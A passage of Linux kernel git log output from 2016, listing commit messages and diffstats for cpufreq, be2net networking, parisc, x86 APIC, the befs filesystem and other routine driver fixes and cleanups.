cpufreq_set_policy+0xeb/0x2c0 [ 22.014664] [] cpufreq_init_policy+0x79/0xe0 [ 22.014666] [] ? cpufreq_update_policy+0x120/0x120 [ 22.014669] [] cpufreq_online+0x406/0x820 [ 22.014671] [] cpufreq_add_dev+0x5f/0x90 [ 22.014717] [] subsys_interface_register+0xb8/0x100 [ 22.014719] [] cpufreq_register_driver+0x14c/0x210 [ 22.014749] [] intel_pstate_init+0x39d/0x4d5 [ 22.014751] [] ? cpufreq_gov_dbs_init+0x12/0x12 Cc: 4.3+ # 4.3+ Signed-off-by: Srinivas Pandruvada Signed-off-by: Rafael J. Wysocki drivers/cpufreq/intel_pstate.c | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) commit d24cd733bae8fc6c121c437b3197ab7f3930ca66 Merge: 2f7c68d dc6e851 Author: David S. Miller Date: Sun Oct 9 09:30:45 2016 -0400 Merge branch 'be2net-fixes' Sriharsha Basavapatna says: ==================== be2net: patch-set The following patch set contains a few bug fixes. Please consider applying this to the net-next tree. Thanks. Patch-1 Obtains proper PF number for BEx chips Patch-2 Fixes a FW update issue seen with BEx chips Patch-3 Updates copyright string Patch-4 Fixes TX stats for TSO packets Patch-5 Enables VF link state setting for BE3 ==================== Signed-off-by: David S. Miller commit dc6e8511ff7141141578bac559565c55a1e14ad8 Author: Suresh Reddy Date: Sun Oct 9 09:58:53 2016 +0530 be2net: Enable VF link state setting for BE3 The VF link state setting feature now works on BE3 chips too from FW ver 11.1.192.0 onwards. Signed-off-by: Suresh Reddy Signed-off-by: Sriharsha Basavapatna Signed-off-by: David S. Miller drivers/net/ethernet/emulex/benet/be_cmds.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit f3d6ad84807254954fc69bdebb6123e5a2883baf Author: Sriharsha Basavapatna Date: Sun Oct 9 09:58:52 2016 +0530 be2net: Fix TX stats for TSO packets TX stats update does not take into account headers which get duplicated when the TSO packet is split into segments by HW. Fix this for both tunneled (vxlan) and non-tunneled TSO packets. Signed-off-by: Sriharsha Basavapatna Signed-off-by: David S. Miller drivers/net/ethernet/emulex/benet/be_main.c | 14 ++++++++++++-- 1 file changed, 12 insertions(+), 2 deletions(-) commit 77b696cba961bb6e88aeba36253849443f9a4186 Author: Sriharsha Basavapatna Date: Sun Oct 9 09:58:51 2016 +0530 be2net: Update Copyright string in be_hw.h This patch updates the year and company name in the copyright string in be_hw.h. Signed-off-by: Sriharsha Basavapatna Signed-off-by: David S. Miller drivers/net/ethernet/emulex/benet/be_hw.h | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit f5ef017e1195d0a8c69a82bf95fea9c776b93ff0 Author: Sriharsha Basavapatna Date: Sun Oct 9 09:58:50 2016 +0530 be2net: NCSI FW section should be properly updated with ethtool for BE3 The driver has a check to ensure that NCSI FW section is updated only if the current FW version in the card supports it. This FW version check is done using memcmp() which obviously fails in some cases. Fix this by breaking up the version string into integer version components and comparing them. Signed-off-by: Sriharsha Basavapatna Signed-off-by: David S. Miller drivers/net/ethernet/emulex/benet/be_cmds.c | 24 +++++++++++++++++++++++- 1 file changed, 23 insertions(+), 1 deletion(-) commit 6ee080bb09889dc0195a9c659288d17999237fb6 Author: Sriharsha Basavapatna Date: Sun Oct 9 09:58:49 2016 +0530 be2net: Provide an alternate way to read pf_num for BEx chips The driver gets the pf_num for Skyhawk and Lancer using GET_FUNC_CONFIG FW command. But since that command is not supported in BEx, we need to get it from some other command. Otherwise TPE recovery would fail since all NIC PFs would end up with a func num of 0. There's a pci function number field in the response of GET_CNTL_ATTRIBUTES command that can be read to get the same info for BEx adapters. Signed-off-by: Sriharsha Basavapatna Signed-off-by: David S. Miller drivers/net/ethernet/emulex/benet/be_cmds.c | 5 +++++ drivers/net/ethernet/emulex/benet/be_cmds.h | 6 +++++- 2 files changed, 10 insertions(+), 1 deletion(-) commit f79b076eb3a8fa70662584f3ac63ab16787a79a0 Author: Helge Deller Date: Sun Oct 9 11:20:44 2016 +0200 parisc: Move exception table into read-only section Since BUILDTIME_EXTABLE_SORT is enabled, the exception table can move into the read-only section. Signed-off-by: Helge Deller arch/parisc/kernel/vmlinux.lds.S | 7 ++++--- 1 file changed, 4 insertions(+), 3 deletions(-) commit 6449e31ddebdce68508cfaf0915d31aad3835f4f Author: Alexey Khoroshilov Date: Sun Sep 25 00:19:05 2016 +0300 firewire: nosy: do not ignore errors in ioremap_nocache() There is no check if ioremap_nocache() returns a valid pointer. Potentially it can lead to null pointer dereference. Found by Linux Driver Verification project (linuxtesting.org). Signed-off-by: Alexey Khoroshilov Signed-off-by: Stefan Richter (renamed goto labels) drivers/firewire/nosy.c | 13 ++++++++++--- 1 file changed, 10 insertions(+), 3 deletions(-) commit f8850abb7ba68229838014b3409460e576751c6d Author: Helge Deller Date: Sun Oct 9 11:12:34 2016 +0200 parisc: Fix kernel memory layout regarding position of __gp Architecturally we need to keep __gp below 0x1000000. But because of ftrace and tracepoint support, the RO_DATA_SECTION now gets much bigger than it was before. By moving the linkage tables before RO_DATA_SECTION we can avoid that __gp gets positioned at a too high address. Cc: stable@vger.kernel.org # 4.4+ Signed-off-by: Helge Deller arch/parisc/kernel/vmlinux.lds.S | 7 +++++-- 1 file changed, 5 insertions(+), 2 deletions(-) commit 65bf34f59594c11f13d371c5334a6a0a385cd7ae Author: Helge Deller Date: Sun Oct 9 09:57:54 2016 +0200 parisc: Increase initial kernel mapping size Increase the initial kernel default page mapping size for 64-bit kernels to 64 MB and for 32-bit kernels to 32 MB. Due to the additional support of ftrace, tracepoint and huge pages the kernel size can exceed the sizes we used up to now. Cc: stable@vger.kernel.org # 4.4+ Signed-off-by: Helge Deller arch/parisc/include/asm/pgtable.h | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) commit 2967999fbceffa8520987ab9b3b00a55d6997dba Author: Mika Westerberg Date: Wed Oct 5 17:46:50 2016 +0300 iio: adc: ti-adc081c: Select IIO_TRIGGERED_BUFFER to prevent build errors Commit 08e05d1fce5c ("ti-adc081c: Initial triggered buffer support") added triggered buffer support but that also requires CONFIG_IIO_TRIGGERED_BUFFER, otherwise we get errors from linker such as: drivers/built-in.o: In function `adc081c_remove': drivers/iio/adc/ti-adc081c.c:225: undefined reference to `iio_triggered_buffer_cleanup' Fix these by explicitly selecting both CONFIG_IIO_TRIGGERED_BUFFER and CONFIG_IIO_BUFFER in Kconfig for the driver. Signed-off-by: Mika Westerberg Signed-off-by: Jonathan Cameron drivers/iio/adc/Kconfig | 2 ++ 1 file changed, 2 insertions(+) commit 69db4aa44fdd8befc2eccd1313d841c5128c385c Merge: f5b88de 477b022 Author: Brian Norris Date: Sat Oct 8 12:23:37 2016 -0700 Merge tag '4.9/mtd-pairing-scheme' of github.com:linux-nand/linux Introduction of the MTD pairing scheme concept. commit e55f1d1d13e7f1c364672d667d78fd1f640ab9f9 Merge: f334bcd 030b533 Author: Al Viro Date: Sat Oct 8 11:06:08 2016 -0400 Merge remote-tracking branch 'jk/vfs' into work.misc commit f334bcd94b7d3c0fbc34d518a86548f451ab5faf Merge: 73e8fb2 814184f Author: Al Viro Date: Sat Oct 8 11:00:01 2016 -0400 Merge remote-tracking branch 'ovl/misc' into work.misc commit 73e8fb2d596d5903cde6dcced39c0b88b5770a56 Merge: 33e09f0 3baf328 Author: Al Viro Date: Sat Oct 8 10:44:55 2016 -0400 Merge branch 'work.const-qstr' into work.misc commit 33e09f0ee76e9e4108c5aed67e027ef5e3fe0634 Merge: c531716 2864f30 Author: Al Viro Date: Sat Oct 8 10:44:37 2016 -0400 Merge branch 'work.iget' into work.misc commit a38671d65dce25d2390338fe9d272de6302334db Author: Paul Gortmaker Date: Mon Sep 19 18:04:51 2016 -0400 parisc: Migrate exception table users off module.h and onto extable.h This file was only including module.h for exception table related functions. We've now separated that content out into its own file "extable.h" so now move over to that and avoid all the extra header content in module.h that we don't really need to compile this file. Cc: "James E.J. Bottomley" Cc: Helge Deller Cc: linux-parisc@vger.kernel.org Signed-off-by: Paul Gortmaker Signed-off-by: Helge Deller arch/parisc/mm/fault.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 2f7c68d8e6d47d9b66cc2c803e7d8a5b9768475d Merge: 776482c c7e163f Author: David S. Miller Date: Sat Oct 8 08:24:37 2016 -0400 Merge branch 'for-upstream' of git://git.kernel.org/pub/scm/linux/kernel/git/bluetooth/bluetooth Johan Hedberg says: ==================== pull request: bluetooth 2016-10-08 Here are a couple of Bluetooth fixes for the 4.9 kernel: - Firmware download fix for Atheros controllers - Fixes to the content of LE scan response - New USB ID for a Marvell chipset Please let me know if there are any issues pulling. Thanks. ==================== Signed-off-by: David S. Miller commit d4b05923f579c234137317cdf9a5eb69ddab76d1 Author: Dave Hansen Date: Fri Oct 7 09:23:42 2016 -0700 x86/pkeys: Make protection keys an "eager" feature Our XSAVE features are divided into two categories: those that generate FPU exceptions, and those that do not. MPX and pkeys do not generate FPU exceptions and thus can not be used lazily. We disable them when lazy mode is forced on. We have a pair of masks to collect these two sets of features, but XFEATURE_MASK_PKRU was added to the wrong mask: XFEATURE_MASK_LAZY. Fix it by moving the feature to XFEATURE_MASK_EAGER. Note: this only causes problem if you boot with lazy FPU mode (eagerfpu=off) which is *not* the default. It also only affects hardware which is not currently publicly available. It looks like eager mode is going away, but we still need this patch applied to any kernel that has protection keys and lazy mode, which is 4.6 through 4.8 at this point, and 4.9 if the lazy removal isn't sent to Linus for 4.9. Fixes: c8df40098451 ("x86/fpu, x86/mm/pkeys: Add PKRU xsave fields and data structures") Signed-off-by: Dave Hansen Cc: Dave Hansen Cc: stable@vger.kernel.org Link: http://lkml.kernel.org/r/20161007162342.28A49813@viggo.jf.intel.com Signed-off-by: Thomas Gleixner arch/x86/include/asm/fpu/xstate.h | 7 ++++--- 1 file changed, 4 insertions(+), 3 deletions(-) commit df610d678893c85b82d3a68eea0d87dd4e03e615 Author: Thomas Gleixner Date: Fri Oct 7 15:55:13 2016 +0200 x86/apic: Prevent pointless warning messages Markus reported that he sees new warnings: APIC: NR_CPUS/possible_cpus limit of 4 reached. Processor 4/0x84 ignored. APIC: NR_CPUS/possible_cpus limit of 4 reached. Processor 5/0x85 ignored. This comes from the recent persistant cpuid - nodeid changes. The code which emits the warning has been called prior to these changes only for enabled processors. Now it's called for disabled processors as well to get the possible cpu accounting correct. So if the kernel is compiled for the number of actual available/enabled CPUs and the BIOS reports disabled CPUs as well then the above warnings are printed. That's a pointless exercise as it only makes sense if there are more CPUs enabled than the kernel supports. Nake the warning conditional on enabled processors so we are back to the state before these changes. Fixes: 8f54969dc8d6 ("x86/acpi: Introduce persistent storage for cpuid <-> apicid mapping") Reported-and-tested-by: Markus Trippelsdorf Cc: One Thousand Gnomes Cc: Dou Liyang Cc: linux-acpi@vger.kernel.org Cc: Gu Zheng Link: http://lkml.kernel.org/r/alpine.DEB.2.20.1610071549330.19804@nanos Signed-off-by: Thomas Gleixner arch/x86/kernel/apic/apic.c | 8 +++++--- 1 file changed, 5 insertions(+), 3 deletions(-) commit f3bf1dbe64b62a2058dd1944c00990df203e8e7a Author: Thomas Gleixner Date: Fri Oct 7 14:02:12 2016 +0200 x86/acpi: Prevent LAPIC id 0xff from being accounted Yinghai reported that the recent changes to make the cpuid - nodeid relationship permanent causes a cpuid ordering regression on a system which has 2apic enabled.. The reason is that the ACPI local APIC parser has no sanity check for apicid 0xff, which is an invalid id. So a CPU id for this invalid local APIC id is allocated and therefor breaks the cpuid ordering. Add a sanity check to acpi_parse_lapic() which ignores the invalid id. Fixes: 8f54969dc8d6 ("x86/acpi: Introduce persistent storage for cpuid <-> apicid mapping") Reported-by: Yinghai Lu Signed-off-by: Thomas Gleixner Cc: Gu Zheng , Cc: Tang Chen Cc: douly.fnst@cn.fujitsu.com, Cc: zhugh.fnst@cn.fujitsu.com Cc: Tony Luck Cc: Rafael J. Wysocki Cc: Len Brown Cc: Lv Zheng , Cc: robert.moore@intel.com Cc: linux-acpi@vger.kernel.org Link: https://lkml.kernel.org/r/CAE9FiQVQx6FRXT-RdR7Crz4dg5LeUWHcUSy1KacjR+JgU_vGJg@mail.gmail.com arch/x86/kernel/acpi/boot.c | 4 ++++ 1 file changed, 4 insertions(+) commit a17e7d2010b44103e3b8e00d0c8c510606457bc6 Author: Luis de Bethencourt Date: Sat Aug 13 18:11:21 2016 +0100 befs: befs: fix style issues in datastream.c Fixing the following checkpatch.pl errors: ERROR: "foo * bar" should be "foo *bar" + befs_blocknr_t blockno, befs_block_run * run); WARNING: Missing a blank line after declarations + struct buffer_head *bh; + befs_debug(sb, "---> %s length: %llu", __func__, len); WARNING: Block comments use * on subsequent lines + /* + Double indir block, plus all the indirect blocks it maps. (and other instances of these) Signed-off-by: Luis de Bethencourt Signed-off-by: Salah Triki fs/befs/datastream.c | 32 +++++++++++++++++--------------- 1 file changed, 17 insertions(+), 15 deletions(-) commit a20af5f9eaac083e2865e94f37e47af74d70f187 Author: Luis de Bethencourt Date: Sat Aug 13 18:11:20 2016 +0100 befs: improve documentation in datastream.c Convert function descriptions to kernel-doc style. Signed-off-by: Luis de Bethencourt Signed-off-by: Salah Triki fs/befs/datastream.c | 193 ++++++++++++++++++++++++++------------------------- 1 file changed, 98 insertions(+), 95 deletions(-) commit d327e612bd1f854f08bc4c419122a41440455cbe Author: Luis de Bethencourt Date: Sat Aug 13 18:11:19 2016 +0100 befs: fix typos in datastream.c Signed-off-by: Luis de Bethencourt Signed-off-by: Salah Triki fs/befs/datastream.c | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) commit 02d91f97fdd62e1d01191e3bb1c42092bd807951 Author: Luis de Bethencourt Date: Thu Aug 11 22:15:16 2016 +0100 befs: fix typos in btree.c Fixing typos in kernel-doc function descriptions in fs/befs/btree.c. Signed-off-by: Luis de Bethencourt Signed-off-by: Salah Triki fs/befs/btree.c | 7 +++---- 1 file changed, 3 insertions(+), 4 deletions(-) commit 103c0fb3400b3efc74c806db2fd18e9eedc510d5 Author: Luis de Bethencourt Date: Tue Aug 9 22:51:44 2016 +0100 befs: fix style issues in super.c Fixing the following checkpatch.pl error: ERROR: "foo * bar" should be "foo *bar" +befs_load_sb(struct super_block *sb, befs_super_block * disk_sb) And the following warnings: WARNING: suspect code indent for conditional statements (8, 12) + if (disk_sb->fs_byte_order == BEFS_BYTEORDER_NATIVE_LE) + befs_sb->byte_order = BEFS_BYTESEX_LE; WARNING: suspect code indent for conditional statements (8, 12) + else if (disk_sb->fs_byte_order == BEFS_BYTEORDER_NATIVE_BE) + befs_sb->byte_order = BEFS_BYTESEX_BE; WARNING: break quoted strings at a space character + befs_error(sb, "blocksize(%u) cannot be larger" + "than system pagesize(%lu)", befs_sb->block_size, WARNING: line over 80 characters + if (befs_sb->log_start != befs_sb->log_end || befs_sb->flags == BEFS_DIRTY) { Signed-off-by: Luis de Bethencourt Signed-off-by: Salah Triki fs/befs/super.c | 15 ++++++++------- 1 file changed, 8 insertions(+), 7 deletions(-) commit 11674239f927c900bc50f8f2f5a4ec3e4a3df89b Author: Luis de Bethencourt Date: Tue Aug 9 22:24:09 2016 +0100 befs: fix comment style The description of befs_load_sb was confusing the kernel-doc system since, because it starts with /**, it thinks it will document the function with kernel-doc formatting. Which it isn't. Fix other comment style issues in the file while we are at it. Signed-off-by: Luis de Bethencourt Signed-off-by: Salah Triki fs/befs/super.c | 10 +++------- 1 file changed, 3 insertions(+), 7 deletions(-) commit bbe1bd0b6bba138eaf441c6c964bde9866da8808 Author: Luis de Bethencourt Date: Tue Aug 9 22:23:36 2016 +0100 befs: add check for ag_shift in superblock ag_shift and blocks_per_ag contain the same information in different ways, same as block_shift and block_size do. It is worth checking this two are consistent, but since blocks_per_ag isn't documented as mandatory to use some implementations of befs don't enforce this, so making it non-fatal if they don't match and just having it as a warning. Signed-off-by: Luis de Bethencourt Signed-off-by: Salah Triki fs/befs/super.c | 7 +++++++ 1 file changed, 7 insertions(+) commit d1a8c70676c7e2cd4b80f494aed17b5813f2be44 Author: Luis de Bethencourt Date: Tue Aug 9 22:20:23 2016 +0100 befs: dump inode_size superblock information befs_dump_super_block() wasn't giving the inode_size information when dumping all elements of the superblock. Add this element to have complete information of the superblock. Signed-off-by: Luis de Bethencourt Signed-off-by: Salah Triki fs/befs/debug.c | 1 + 1 file changed, 1 insertion(+) commit 78f647c27f17b10bd7e1ce5d66a3755b1848efa5 Author: Salah Triki Date: Thu Aug 11 12:04:52 2016 +0100 befs: remove unnecessary initialization There is no need to init block, since it will be overwitten later by iaddr2blockno(). Signed-off-by: Salah Triki Signed-off-by: Luis de Bethencourt fs/befs/io.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 2ac636b4d04702e26421598949fc30c7a9e38988 Author: Salah Triki Date: Tue Aug 9 14:46:05 2016 +0100 befs: fix typo in befs_sb_info Fixing jornal to Journal. Signed-off-by: Salah Triki Signed-off-by: Luis de Bethencourt fs/befs/befs.h | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 6ea4558f9b373b588162e5d3523bc65fcf669b06 Author: Salah Triki Date: Tue Aug 9 14:46:04 2016 +0100 befs: add flags field to validate superblock state For validating superblock state, add flags field to befs_sb_info, read the state from the disk and check if it is equal to BEFS_DIRTY. Signed-off-by: Salah Triki Signed-off-by: Luis de Bethencourt fs/befs/befs.h | 3 +++ fs/befs/super.c | 4 +++- 2 files changed, 6 insertions(+), 1 deletion(-) commit bb75e66627b28816f472183d5dce0784d5edb87f Author: Luis de Bethencourt Date: Mon Aug 8 15:21:21 2016 +0100 befs: fix typo in befs_find_key Fixing skeep to skip. Signed-off-by: Luis de Bethencourt Signed-off-by: Salah Triki fs/befs/btree.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 672a8515ee7ce3931daba8ed24f43de476d8e29a Author: Luis de Bethencourt Date: Mon Aug 8 15:21:20 2016 +0100 befs: remove unused BEFS_BT_PARMATCH befs_btree_find(), the only caller of befs_find_key(), only cares about if the return from that function is BEFS_BT_MATCH or not. It never uses the partial match given with BEFS_BT_PARMATCH. Make the overflow return clearer by having BEFS_BT_OVERFLOW instead of BEFS_BT_PARMATCH. Signed-off-by: Luis de Bethencourt Signed-off-by: Salah Triki fs/befs/befs.h | 2 +- fs/befs/btree.c | 33 +++++++++++++++------------------ 2 files changed, 16 insertions(+), 19 deletions(-) commit 33c712b4fcf23fba57cb9a8d947d9ab41e363b08 Author: Salah Triki Date: Sun Jul 31 21:34:31 2016 +0100 fs: befs: remove ret variable ret is initialized to -EIO and is never modified, so remove ret and use -EIO directly. Signed-off-by: Salah Triki Acked-by: Luis de Bethencourt fs/befs/linuxvfs.c | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) commit abcf911691ee2a4e3fd8c71adc397f67c56565a2 Author: Salah Triki Date: Sun Jul 31 21:34:30 2016 +0100 fs: befs: remove in vain variable assignment There is no need to init res, since it will be overwitten later by befs_fblock2brun(). Signed-off-by: Salah Triki Acked-by: Luis de Bethencourt fs/befs/linuxvfs.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit f30661035b01910c5da248b6e67fb66182e40f6f Author: Salah Triki Date: Sun Jul 31 21:34:29 2016 +0100 fs: befs: remove unnecessary *befs_sb variable Remove *befs_sb and just call BEFS_SB(sb) directly, since the returned value by this function is only used once. Signed-off-by: Salah Triki Acked-by: Luis de Bethencourt fs/befs/datastream.c | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) commit 143d2a615fe39dd972a6446d24b298f7544588e9 Author: Salah Triki Date: Sun Jul 31 21:34:28 2016 +0100 fs: befs: remove useless initialization to zero node_off is unconditionally set to bt_super.root_node_ptr, so no need to init it to zero. Signed-off-by: Salah Triki Acked-by: Luis de Bethencourt fs/befs/btree.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 88ff34446b33c15340c45888dbe325e2ef7ba8c8 Author: Salah Triki Date: Sun Jul 31 21:34:27 2016 +0100 fs: befs: remove in vain variable assignment There is no need to set *value, it will be overwritten later. Signed-off-by: Salah Triki Acked-by: Luis de Bethencourt fs/befs/btree.c | 2 -- 1 file changed, 2 deletions(-) commit a26bc1adc74063ec116159d45f305d2a1dd4a07b Author: Salah Triki Date: Wed Jul 27 03:35:59 2016 +0100 fs: befs: Insert NULL inode to dentry As VFS expects, lookup inserts NULL inode to dentry when the named inode does not exist. Signed-off-by: Salah Triki Acked-by: Luis de Bethencourt fs/befs/linuxvfs.c | 1 + 1 file changed, 1 insertion(+) commit d70ee4f2de3de1f56f7b5d0837ad9d53320cf128 Author: Salah Triki Date: Wed Jul 27 04:11:54 2016 +0100 fs: befs: Remove useless calls to brelse in befs_find_brun_dblindirect The calls to brelse are useless since dbl_indir_block and indir_block are NULL. Signed-off-by: Salah Triki Acked-by: Luis de Bethencourt fs/befs/datastream.c | 2 -- 1 file changed, 2 deletions(-) commit 4bb594329a35e90ed7ff38db24f54aef8680f346 Author: Salah Triki Date: Wed Jul 27 04:11:53 2016 +0100 fs: befs: Coding style fix Constant has to be capitalized. Signed-off-by: Salah Triki Acked-by: Luis de Bethencourt fs/befs/btree.c | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) commit d84e4a5a09c320e209789d263a26617f6f7324e3 Author: Salah Triki Date: Wed Jul 27 04:11:52 2016 +0100 fs: befs: Remove redundant validation from befs_find_brun_direct The only caller of befs_find_brun_direct is befs_fblock2brun, which already validates that the block is within the range of direct blocks. So remove the duplicate validation. Signed-off-by: Salah Triki Acked-by: Luis de Bethencourt fs/befs/datastream.c | 8 -------- 1 file changed, 8 deletions(-) commit 2dfa8a6e56f63d2f6c479e7b65ef087e892280e9 Author: Luis de Bethencourt Date: Tue Jul 12 00:02:50 2016 +0100 befs: fix typo in befs_bt_read_node documentation Fixing a grammatical error in the documentation. Signed-off-by: Luis de Bethencourt fs/befs/btree.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit cfe0cb20e6fa09becc5e6f7597c6e2d1ed9ab7dd Author: Luis de Bethencourt Date: Tue Jul 12 00:02:49 2016 +0100 befs: in memory free_node_ptr and max_size never read The only place the values of free_node_ptr and max_size are read is in befs_dump_index_entry(), which both times it is called, it is passed the on disk superblock. Removing assignment of unused values. Signed-off-by: Luis de Bethencourt fs/befs/btree.c | 2 -- 1 file changed, 2 deletions(-) commit 4c3897cce0774b6196f59f98a44eed7e011db5aa Author: Luis de Bethencourt Date: Sun Jul 3 16:29:44 2016 +0100 befs: make consistent use of befs_error() befs_error() is used in potential errors that could happen in befs to provide informational log messages. befs_debug() is silent when CONFIG_BEFS_DEBUG=no, and very verbose when switched on, which is why it is used for general debugging but not for errors. Fix a few cases where the befs debug utility usage isn't following the expected pattern. To make sure we have consistent information in the logs. Signed-off-by: Luis de Bethencourt fs/befs/btree.c | 6 ++++-- fs/befs/datastream.c | 5 ++++- fs/befs/linuxvfs.c | 2 +- 3 files changed, 9 insertions(+), 4 deletions(-) commit 9ae51a32b1a060d2db4340d853d989ae622d273f Author: Luis de Bethencourt Date: Fri Jul 1 01:07:32 2016 +0100 befs: use simpler while loop Replace goto with simpler while loop to make befs_readdir() more readable. Signed-off-by: Luis de Bethencourt fs/befs/linuxvfs.c | 74 ++++++++++++++++++++++++++++-------------------------- 1 file changed, 38 insertions(+), 36 deletions(-) commit 50858ef96deeeeeb36b2113d49007f41d0410763 Author: Luis de Bethencourt Date: Fri Jul 1 01:07:31 2016 +0100 befs: remove constant variable Use macro directly instead of via assigning it to an unchanging variable. Signed-off-by: Luis de Bethencourt Acked-by: Salah Triki fs/befs/linuxvfs.c | 7 ++----- 1 file changed, 2 insertions(+), 5 deletions(-) commit f7769f9cf95fa1a63eea81f13126f8fe7f708dc1 Author: Luis de Bethencourt Date: Fri Jul 1 01:07:30 2016 +0100 befs: avoid dereferencing dentry twice No need to dereference dentry twice to get the name when we already have it stored in a local variable. Signed-off-by: Luis de Bethencourt fs/befs/linuxvfs.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 39dcfd3b3448e03a77cd918a918cdea5d84d6076 Author: Luis de Bethencourt Date: Wed Jun 29 21:27:41 2016 +0100 fs: befs: remove comment that confuses kernel-doc This comment with a mysterious unfinished line confuses the kernel-doc system since, because it starts with /**, it thinks it is documenting a function. Signed-off-by: Luis de Bethencourt fs/befs/linuxvfs.c | 4 ---- 1 file changed, 4 deletions(-) commit a64998504ebd766f07cf77f41334ccd8a60297ae Author: Luis de Bethencourt Date: Wed Jun 29 21:27:40 2016 +0100 fs: befs: check silent flag before logging error Log error only when silent flag is not set. Fixes: dbe6460388bc ("fs/befs/linuxvfs.c: check silent flag before logging errors") Signed-off-by: Luis de Bethencourt Acked-by: Salah Triki fs/befs/linuxvfs.c | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) commit f7f675406be6eb3736a8690217d7b41d60f6a1aa Author: Salah Triki Date: Sat Jul 23 22:36:42 2016 +1000 fs: befs: replace befs_bread by sb_bread Since befs_bread merely calls sb_bread, replace it by sb_bread. Link: http://lkml.kernel.org/r/1466800258-4542-1-git-send-email-salah.triki@gmail.com Signed-off-by: Salah Triki Acked-by: Luis de Bethencourt Signed-off-by: Andrew Morton fs/befs/datastream.c | 6 +++--- fs/befs/io.c | 24 ------------------------ fs/befs/io.h | 2 -- fs/befs/linuxvfs.c | 2 +- 4 files changed, 4 insertions(+), 30 deletions(-) commit f0f2536fe36671028209e0bd15a2940f2b61cdb5 Author: Luis de Bethencourt Date: Sat Jul 23 22:36:42 2016 +1000 befs: remove unused functions befs_iaddr_is_empty() and befs_brun_size() are unused. Remove them. Link: http://lkml.kernel.org/r/1465700235-22881-3-git-send-email-luisbg@osg.samsung.com Signed-off-by: Luis de Bethencourt Signed-off-by: Andrew Morton fs/befs/befs.h | 12 ------------ 1 file changed, 12 deletions(-) commit 10145d6116325266728e423c42d84a89f8f129d2 Author: Luis de Bethencourt Date: Sat Jul 23 22:36:42 2016 +1000 befs: fix function name in documentation Documentation of function befs_load_cb() lists it as load_befs_sb(). Fix the misnomer. Link: http://lkml.kernel.org/r/1465700235-22881-2-git-send-email-luisbg@osg.samsung.com Signed-off-by: Luis de Bethencourt Signed-off-by: Andrew Morton fs/befs/super.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 173b066f5826e8eca9b67e8091cab67fcda74f2f Author: Luis de Bethencourt Date: Sat Jul 23 22:36:42 2016 +1000 befs: check return of sb_min_blocksize Confirm sb_min_blocksize() succeeded before continuing. Link: http://lkml.kernel.org/r/1465700235-22881-1-git-send-email-luisbg@osg.samsung.com Signed-off-by: Luis de Bethencourt Signed-off-by: Andrew Morton fs/befs/linuxvfs.c | 7 ++++++- 1 file changed, 6 insertions(+), 1 deletion(-) commit c08f1cb627c43d7b0a1d04a5a0efaf385f0391ad Author: Salah Triki Date: Sat Jul 23 22:36:41 2016 +1000 fs: befs: remove useless pr_err in befs_init_inodecache() Remove pr_err since kmem_cache_create log error and dump stack. Link: http://lkml.kernel.org/r/e6d03cbc9542495dc6174b59e32fcd41c1393cfc.1464226521.git.salah.triki@acm.org Signed-off-by: Salah Triki fs/befs/linuxvfs.c | 6 ++---- 1 file changed, 2 insertions(+), 4 deletions(-) commit e808792784e5a4f4532e660697385d3d370f8803 Author: Salah Triki Date: Sat Jul 23 22:36:41 2016 +1000 fs/befs/linuxvfs.c: remove useless befs_error Remove befs_error since when kmalloc fails there is a generic out of memory and stack dump. Link: http://lkml.kernel.org/r/3de4d388d98bbb570462a5eb8e64623e17fb5d74.1464226521.git.salah.triki@acm.org Signed-off-by: Salah Triki Signed-off-by: Andrew Morton fs/befs/linuxvfs.c | 2 -- 1 file changed, 2 deletions(-) commit c625426fb61a64427f4e12b83a6710161fd9489b Author: Salah Triki Date: Sat Jul 23 22:36:41 2016 +1000 fs/befs/linuxvfs.c: remove useless pr_err in befs_fill_super() Remove pr_err since when kzalloc fails there is a generic out of memory and stack dump. Link: http://lkml.kernel.org/r/c5a7f2d42ec0fc8465c118248e88cd221c483391.1464226521.git.salah.triki@acm.org Signed-off-by: Salah Triki Signed-off-by: Andrew Morton fs/befs/linuxvfs.c | 6 ++---- 1 file changed, 2 insertions(+), 4 deletions(-) commit dceee2e230e07d25e50478dde3f0621a1381da53 Author: Salah Triki Date: Sat Jul 23 22:36:41 2016 +1000 fs/befs/linuxvfs.c: check silent flag before logging errors Log errors only when silent flag is not set. Link: http://lkml.kernel.org/r/d400aaf5a7430de79bd956e40ec075fb1cb08474.1464226521.git.salah.triki@acm.org Signed-off-by: Salah Triki Signed-off-by: Andrew Morton fs/befs/linuxvfs.c | 15 +++++++++------ 1 file changed, 9 insertions(+), 6 deletions(-) commit 30982583e4e57c4648fee4a4d6511e23b6e5db2b Author: Salah Triki Date: Sat Jul 23 22:36:41 2016 +1000 fs/befs/linuxvfs.c: move useless assignment Control is transfered to unacquire_none when sb->s_fs_info is equal to NULL, so the assignment to NULL is useless and it is moved above unacquire_none. Link: http://lkml.kernel.org/r/ed41da113fc693c7daa4e8813ca04cc766ddfc05.1464226521.git.salah.triki@acm.org Signed-off-by: Salah Triki Signed-off-by: Andrew Morton fs/befs/linuxvfs.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 39487f6688a557ebfc69816d7e02f210bf8fb2a3 Author: Vladimir Zapolskiy Date: Fri Oct 7 15:41:39 2016 +0300 watchdog: imx2_wdt: add pretimeout function support The change adds watchdog pretimeout notification handling to imx2_wdt driver, if device data contains information about a valid interrupt. It is unlikely but still possible (e.g. through a software limitation) that only a subset of watchdogs on SoC has interrupt lines, hence functionally the devices from these two groups have different capabilities, and this is reflected in different watchdog_info structs assigned to the devices. Signed-off-by: Vladimir 